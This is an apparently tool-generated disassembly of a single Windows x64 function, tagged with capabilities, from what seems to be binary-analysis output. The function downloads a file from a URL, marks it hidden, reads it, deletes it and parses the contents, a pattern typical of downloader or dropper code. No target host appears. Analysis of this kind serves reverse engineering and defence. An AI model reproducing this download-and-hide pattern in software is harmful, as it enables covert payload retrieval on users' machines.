Function at 0x7ff7879fd64c
Capabilities:
Delete file
Download url
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x7ff787a99440]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rdi, rcx
mov qword [rbp - 0x28], rcx
and dword [rsp + 0x70], 0
call fcn.7ff7879eab18
mov dword [rsp + 0x70], 1
lea rdx, [rsp + 0x78]
call fcn.7ff7879fdb44
mov rcx, rax
call fcn.7ff7879ff904
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa74
mov rcx, rax
call fcn.7ff7879ea9bc
mov rbx, rax
lea rdx, [rsp + 0x38]
call fcn.7ff7879fdaf4
mov rcx, rax
call fcn.7ff7879ea0cc
mov rdx, rax
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
lea rdx, [rsp + 0x78]
call fcn.7ff7879fdb44
mov rcx, rax
call fcn.7ff7879ff904
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa74
mov rcx, rax
call fcn.7ff7879ea9bc
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
lea rcx, [rbp + 0x30]
call fcn.7ff7879f17cc
lea rdx, [rsp + 0x78]
call fcn.7ff7879fdb44
mov rcx, rax
call fcn.7ff7879ff904
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa74
nop
mov r8d, 1
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.7ff7879f2384
nop
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
lea rcx, [rbp - 0x20]
call fcn.7ff787a0025c
mov r8, rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x20]
call fcn.7ff787a024fc
nop
lea rcx, [rbp + 0x30]
call fcn.7ff7879f22f4
lea rdx, [rsp + 0x78]
call fcn.7ff7879fdb44
mov rcx, rax
call fcn.7ff7879ff904
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa74
mov rcx, rax
call fcn.7ff7879ea9bc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
lea rdx, [rsp + 0x30]
call fcn.7ff7879f1750
mov rcx, rax
call fcn.7ff7879f1910
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.7ff7879eaa74
mov rbx, rax
lea rdx, [rsp + 0x38]
call fcn.7ff7879fdb74
mov rcx, rax
call fcn.7ff7879ea054
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa74
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.7ff787a00278
mov rcx, rax
lea rdx, [rbp - 0x68]
call fcn.7ff787a0259c
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.7ff7879ee638
nop
mov rdx, rax
mov rcx, rdi
call fcn.7ff7879f2de4
nop
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa2c
nop
lea rcx, [rbp - 0x68]
call fcn.7ff7879eaa2c
nop
lea rcx, [rbp - 0x48]
call fcn.7ff7879eaa2c
lea rdx, [rsp + 0x30]
call fcn.7ff7879f1750
mov rcx, rax
call fcn.7ff7879f1910
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa74
mov rbx, rax
lea rdx, [rsp + 0x38]
call fcn.7ff7879fdb8c
mov rcx, rax
call fcn.7ff7879f18f8
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.7ff7879eaa74
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.7ff787a00278
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.7ff787a0259c
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.7ff7879ee638
nop
mov rdx, rax
mov rcx, rdi
call fcn.7ff7879f2de4
nop
lea rcx, [rbp - 0x68]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa2c
lea rdx, [rsp + 0x30]
call fcn.7ff7879f1750
mov rcx, rax
call fcn.7ff7879f1910
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa74
mov rbx, rax
lea rdx, [rsp + 0x38]
call fcn.7ff7879fdb9c
mov rcx, rax
call fcn.7ff7879ea06c
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.7ff7879eaa74
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.7ff787a00278
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.7ff787a0259c
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.7ff7879ee638
nop
mov rdx, rax
mov rcx, rdi
call fcn.7ff7879f2de4
nop
lea rcx, [rbp - 0x68]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa2c
lea rdx, [rsp + 0x30]
call fcn.7ff7879f1750
mov rcx, rax
call fcn.7ff7879f1910
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa74
mov rbx, rax
lea rdx, [rsp + 0x38]
call fcn.7ff7879fdbb4
mov rcx, rax
call fcn.7ff7879ea0e4
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.7ff7879eaa74
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.7ff787a00278
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff787a025b4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.7ff7879ee638
nop
mov rdx, rax
mov rcx, rdi
call fcn.7ff7879f2de4
nop
lea rcx, [rbp - 0x68]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa2c
lea rdx, [rsp + 0x30]
call fcn.7ff7879f1750
mov rcx, rax
call fcn.7ff7879f1910
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa74
mov rbx, rax
lea rdx, [rsp + 0x38]
call fcn.7ff7879fdbd0
mov rcx, rax
call fcn.7ff7879ea1bc
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.7ff7879eaa74
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.7ff787a00278
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.7ff787a025b4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.7ff7879ee638
nop
mov rdx, rax
mov rcx, rdi
call fcn.7ff7879f2de4
nop
lea rcx, [rbp - 0x68]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x50]
call fcn.7ff7879eaa2c
nop
lea rcx, [rsp + 0x78]
call fcn.7ff7879eaa2c
nop
lea rcx, [rbp + 0x20]
call fcn.7ff787a00360
nop
lea rcx, [rbp + 0x30]
call fcn.7ff7879f17a8
mov rax, rdi
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.7ff787a2ed90
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret